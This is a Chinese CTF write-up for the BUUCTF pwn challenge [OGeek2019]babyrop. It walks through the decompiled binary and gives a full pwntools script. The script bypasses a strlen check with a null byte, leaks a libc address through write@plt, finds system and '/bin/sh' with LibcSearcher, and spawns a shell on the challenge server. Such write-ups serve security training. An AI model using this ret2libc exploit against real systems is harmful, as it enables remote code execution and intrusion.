解题思路:
泄露或修改内存数据:
- 堆地址:无需
- 栈地址:无需
- libc地址:[[利用got表和plt表泄露数据]] write
- BSS段地址:无需
劫持程序执行流程:[[ret2libc(栈溢出调用任意函数)]]
获得shell或flag:[[调用libc中的system]]
学到的知识:
[[strlen]]
[[LibcSearcher的使用]]
题目信息:
┌──(kali㉿kali)-[~/Desktop]
└─$ file _OGeek2019_babyrop
_OGeek2019_babyrop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6503b3ef34c8d55c8d3e861fb4de2110d0f9f8e2, stripped
┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file=_OGeek2019_babyrop
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 3_OGeek2019_babyrop
libc版本:
wp借鉴:(24条消息) buuctf刷题——[OGeek2019]babyrop 1_云啾啾啾的博客-CSDN博客
核心伪代码分析:
存在利用的的代码:
ssize_t __cdecl sub_80487D0(char a1)
{
char buf[231]; // [esp+11h] [ebp-E7h] BYREF
if ( a1 == 127 ) //利用前面的栈溢出改变a1的值
return read(0, buf, 0xC8u);
else
return read(0, buf, a1); //从而获得足够的溢出值
}
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
ssize_t v5; // [esp+4Ch] [ebp-Ch]
memset(s, 0, sizeof(s));
memset(buf, 0, sizeof(buf));
sprintf(s, "%ld", a1); //将a1赋值给s
v5 = read(0, buf, 0x20u); //read返回输入的字符长度
buf[v5 - 1] = 0; //进行加密
v1 = strlen(buf); // buf的长度(可以通过添加‘\0’绕过检测)
if ( strncmp(buf, s, v1) ) //当v1等于0时strncmp(buf, s, v1)返回0
exit(0);
write(1, "Correct\n", 8u); //从而进入这里
return (unsigned __int8)buf[7];
}
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h] BYREF
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]
sub_80486BB(); // 初始化缓冲区
fd = open("/dev/urandom", 0); //从文件中打开,成功就会返回文件操作符
if ( fd > 0 )
read(fd, &buf, 4u); //read函数第一个参数是地址则将fd写入buf
v2 = sub_804871F(buf); //将返回值作为v2的值
sub_80487D0(v2);
return 0;
}
分析:
首先理解每一个函数的意思发现只有v1 = strlen(buf);是有用的,所以只要绕过它再执行漏洞即可,先泄露函数地址,再执行危险函数。
脚本:
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='i386',os='linux')
pwnfile='./_OGeek2019_babyrop'
sh=remote('node4.buuoj.cn',29176)
elf = ELF(pwnfile)
#sh=process(pwnfile)
payload1=b'\0'+b'a'*6+b'\xff'
sh.sendline(payload1)
#gdb.attach(sh)
#pause()
main_addr=0x8048825
#利用栈溢出泄漏地址
payload2=b'a'*(0xe7+4)+p32(elf.plt['write'])+p32(main_addr)+p32(1)+p32(elf.got['write'])+p32(6)
sh.recvuntil("Correct\n")
sh.sendline(payload2)
write_addr=u32(sh.recv(4))
print("write:",hex(write_addr))
#本地
#write_offest=0xd4d50
#bin_sh_offest=0x172b62
#system_offest=0x27d00
#远程
#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
obj = LibcSearcher("write", write_addr)
write_offest=obj.dump("write") #write 偏移
system_offest=obj.dump("system") #system 偏移
bin_sh_offest=obj.dump("str_bin_sh") #/bin/sh 偏移
base_addr=write_addr-write_offest
print("base_addr:",hex(base_addr))
bin_sh_addr=base_addr+bin_sh_offest
print("bin_sh_addr:",hex(bin_sh_addr))
system_addr=base_addr+system_offest
print("system_addr:",hex(system_addr))
sh.sendline(payload1)
payload3=b'a'*(0xe7+4)+p32(system_addr)+p32(1)+p32(bin_sh_addr)
sh.recvuntil("Correct\n")
sh.send(payload3)
sh.interactive()